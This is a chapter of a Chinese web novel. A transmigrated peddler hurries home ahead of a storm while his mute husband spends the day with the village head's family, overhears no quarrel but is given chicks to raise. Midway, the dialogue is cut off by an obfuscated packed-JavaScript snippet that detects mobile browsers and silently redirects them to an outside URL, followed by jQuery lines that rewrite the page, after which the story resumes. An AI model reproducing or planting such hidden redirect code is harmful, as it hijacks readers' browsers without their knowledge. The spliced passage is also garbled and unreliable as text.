是日,天色阴沉。
常霄出门时就觉天气不算多好,却也不敢就此歇息,现今赚的钱可都是货真价实的口粮钱,手停口就停,压根没有放假的自由。
他摸了摸怀里的饼子,回头向曾如意道:“瞧着早晚要下雨,我若晚回你也莫担心,定是教雨给拦在哪个村里了,到了饭点,你先吃饭,不必等我。”
以防万一,又把迟迟没卖出的风筝特地摘下来放在家里,其余一些个小玩意儿倒是不怕,能卖便卖了,不能卖就藏进怀里或是放进货担深处,上面扯点东西盖着就罢。
曾如意皱着眉头,在手心里写字:
【要不要去借蓑衣】
这是农户最常用的雨具,只要是家里需下地干活的,几乎家家都有。
而下雨的日子大家伙极少出门,借是借得到的。
常霄摇头。
“那东西沉得要命,我不爱穿,不是有这个?”
他拿起旧草帽扣在头上,是上回遇见刘大时提了一嘴,对方回家里找了个过去用旧的,常霄使饴糖换了来,比买顶新的划算多了。
曾如意扯他袖口,当他转头时用口型道“小心”二字。
常霄动动袖子下的手指,很想牵一下小哥儿的手,不过一番犹豫,还是克制住了。
他到底是现代人的思维,哪怕原主和曾如意盲婚哑嫁已成夫夫,彼此若是有心,还是该慢慢地来。
见曾如意应当没有别的交代,常霄道:“我看看今日有没有人拿吃食和我换东西,要是有的话,晚食就有着落了。”
他已渐渐发现生活在乡下的好处,只要不求定要吃一口肉,在吃喝上的花销是很低的。
要想吃肉,买是能买到的,时下多吃羊肉和猪肉两样,羊价贵,一斤逾六十个钱,猪价贱,一斤也要三十个钱。
因少有人买得起,周边村子里没有屠户,想买肉要去草市集,除非赶上过年宰猪杀羊的时候,有人请屠子登门,才会将多余的肉拿出来卖,踩在年根上赚一笔。
说来也是有点心酸,他把肉价打听得听清楚,奈何只是以二人现在的积蓄,吃肉仍是奢侈。
钱需存着,有更重要的用处。
不甚放心地送走常霄,曾如意照旧收拾了院子屋内,将里外洒扫干净后合上门扉,取了针线去耿家。
来了数日,他和耿家上下混了个熟脸,耿大郎的媳妇卫氏和与他走得近的老四夫郎誉哥儿,一个和善一个活泼,独老三夫郎态度不冷不淡,康誉说他素来这个性子,关上门也和他与大嫂不对付,不必理会。
好在曾如意很少与他见面,见面时也会颔首示意,总之礼数教人挑不出错,省的被倒打一耙。
此外耿家还有个老二是姑娘,嫁了外村一里正的儿子,逢年过节才回来。
再说誉哥儿,他有两个孩子,老大星哥儿四岁,说是刚过门没两月就怀上了,很是以此为喜,老二是小子,叫耿元旺,才三岁。
这不曾如意前脚进门,刚进堂屋与里正和里正娘子问了好,就被星哥儿拽走,说要带着他看刚孵出来的鸡雏。
曾如意含笑跟着去,人拐进后院,老三夫郎徐氏忽而从拐角处现了身,冷着脸走去灶屋。
见大嫂在弯腰做事,故意把手里的陶盆重重搁在台面上,嘴上道:“老四夫郎倒是乐得让孩子和那常家夫郎一同耍,旺小子本就三岁了话还说不利索,也不怕教个哑巴拐去沟里了。”
卫氏似是没听见,朝半空弹两下手上的水,挽袖时露出左右各一只的成对银镯,看得徐哥儿眼皮直跳。
别看耿家有三个儿子,实际一碗水端不平,老大不消说,是指定接任里正的人选,老四呢,占了个是老小的好处,对着爹娘伸手,要什么给什么,娶的夫郎精明极了,家里做禽肉禽蛋营生,衬些家底,带来的嫁妆多,还识几个字,成日在他面前走路都昂着下巴。
只他嫁了个夹在当中的老三,当初看中他是里正儿子,生得齐整,浓眉大眼的,怎知真过起日子,下地偷懒耍滑不说,偶尔打发他去跟着老四往草市卖瓜菜和粮食,也能溜去打酒吃,全然不晓得趁机昧几个钱进兜!
更别提主动给他添首饰了。
当大嫂的装聋,他偏要说。
他一向是自己过不自在,也看不惯别人自在。
“大嫂,听说那常家小郎赠了元捷两册书,爹娘和你家就承了他的情?要我说两册书撑死百来个钱一本,进城买又不是买不起,没看人家巴巴把夫郎都送来家里了,还不知打的什么算盘……”
他故意加重语气道:“当心教人缠上,到时甩都甩不脱,亲爹是赌棍,儿子能是什么好东西,歹竹出不了好笋呐!”
此时卫氏终于肯开腔了,气定神闲。
“你当初过门时,我就说你和老三是相配的,他也是打小进学堂便坐不住,磕磕巴巴念了两年,会写的字凑不够一双手,公爹本来给他说了个马桥铺子里老账房的孙女,他偏看不上,现今看来,正是选对了。”
徐哥儿:“……大嫂,这话说的是什么意思?”
竟还特地提什么老账房的孙女,那姑娘他曾有意去看过,虽是和耿家没说成亲后很快就嫁人了,但着实生的水灵,多年来每回一吵架,耿老三那厮就后悔没听爹娘的话娶那娴静的小娘子。
这一点姓卫的不会不知道,分明是特地提出来给他添堵。
“没什么意思,只是提醒你一句,咱家仰赖公爹是里正,高低算是村里顶顶体面的门户,若是见识短,就少说两句,免得让人笑话。”
卫冬香扯下挂在墙上的布巾擦了擦手,绕过徐哥儿向外走。
徒留嘴皮子上没胜人一筹的夫郎朝地下啐一口,摔摔打打好半天。
最后还是曲大娘子听见了,过来看了两眼,他才消停。
在三房小院里陪两个萝卜头看小鸡的曾如意,对前院发生了什么一无所知,他伸手接过星哥儿拿起的一只毛茸茸的小鸡,小心拢在掌心下摸。
康誉长他几岁,全然把他当个小弟看,他和他家男人一样都是家里的老小,不过和耿老四不同,原本在他之后,他爹爹和小爹还生了个小哥儿的,可惜三岁就夭折了,算起来,年岁竟和曾如意差不多。
又因曾如意身世缘故,他心下生怜,相处时多有关照。
见曾如意似乎很喜那鸡雏,遂道:“你要是喜欢,逮几只拿回去养。”
曾如意忙摆手,比划了一个数钱的手势,意思是鸡雏值钱的。
康誉半蒙半猜,现在也能看懂他的部分手势,笑道:“嗐,甚么鸡鸭的,家里鸡棚都养不下了,莫忘了我娘家就是做这行的,回回走亲戚还要往这送嘞。”
他走近两步道:“春雏秋雏年年孵出来,泰半都卖了,这窝是夏雏,本不该孵的。实话实说,夏雏不比春雏、秋雏壮实,真要卖也少
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252800|197648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有人要的,你要是想试试,捉回去养,养不活我不要你钱,真养活了,到时你分我两个蛋,也抵了价了,多要一个都是我坑你了。”
见曾如意面露怀疑,康誉道:“你要不信,让你家那个去打听打听价钱。”
曾如意还真心动了。
母鸡养半年就能下蛋,趁现在还没到秋冬草枯的时候,多打鸡草晒干了备下,就算不种菜不种粮,也不怕没东西喂鸡。
自己吃不吃鸡蛋无所谓,常霄则很是需要补一补,不然成天这么奔忙,身子骨早晚要撑不住。
生意上的事他除了算账外一概帮不上忙,只能想法子在别处花心思。
两人说定后,康誉挨个抓起来看公母,给他挑了两只看起来最结实的小母鸡。
因曾如意瞧着就是个没多少养鸡经验的城里哥儿,多了怕他手忙脚乱,反而不好,等长大了,吃的也多。
“先试试手,回头我再给你挑几只秋雏,你要是连夏雏都能养明白,秋雏更不在话下了。”
他给曾如意吃定心丸,“有个病啊灾啊,你只管来问我,我有土方子能治,我会走路的时候就在家学着伺候这群尖嘴玩意儿了。”
选好后,他教星哥儿和旺小子去扯两根草,大力搓出绿色草汁子,在鸡屁股上染色做标记,暂且放回地上。
随后两人洗把手,相携着继续做针线纳鞋底,顺便看孩子。
康誉的针线手艺远不如曾如意,多有向他请教的时候。
过午,大嫂卫氏也来了,家里一群半大孩子,包括老三家的都凑在一起满地乱窜,热闹极了。
远处。
雨未至,风先起。
常霄抬手扶住草帽,生怕一个不小心被吹跑了。
行到村口树下,聚在一处说闲的人都预备散去,当中有人见常霄走来,招手扬声提醒,“后生,快些家去吧!看这云彩,今天雨不小嘞!”
常霄认出是个上回在自己这买过杂货的老大娘,他回应道:“晓得了,这就往回走!”
身后风车卖得还剩一个,正在随风呼呼旋转。
常霄干脆拿下来举在手里,看久了居然也从中得了几分趣味。
不过终究不敢在路上耽搁太久,真要是雨落下时前不着村后不着店,那真是叫天不应叫地不灵了。
常霄把手伸到背后,掂了一下货担重量,以及肩上挎的一堆葫芦,所幸前日进了回货,六个村子走下来消耗可观,能容他跑上两步。
这一路称得上是在和积雨云赛跑,带着一身叮叮当当,常霄跑了一小段路后果断放弃,改成快走。
好不容易过了大栅村,距离寨子村就剩半个时辰路程,他把葫芦里的水喝干净,提口气继续大步前进。
大雨当前,每个村的地头都不见人影,常在村中道旁玩耍的孩童全数被叫回,一时只闻无边风声。
天阴地沉,前后空茫,风撩起麻布衣摆和额前发丝,束发的发带在脑后飘扬,仿佛四野只余他一人。
常霄忍不住深吸口气,望着暂且看不到尽头的土路,无端萌发一个不切实际的愿望——就这么走下去,会不会在某个刹那,眼前一闪,周遭涌动,推着他回到原本的时空?
“轰隆——”
雷声如同疾雨的预兆,兜头砸下,碎去常霄刚刚冒头的幻想。
他想到还有人在等自己,不觉越走越快,最后再次跑起来。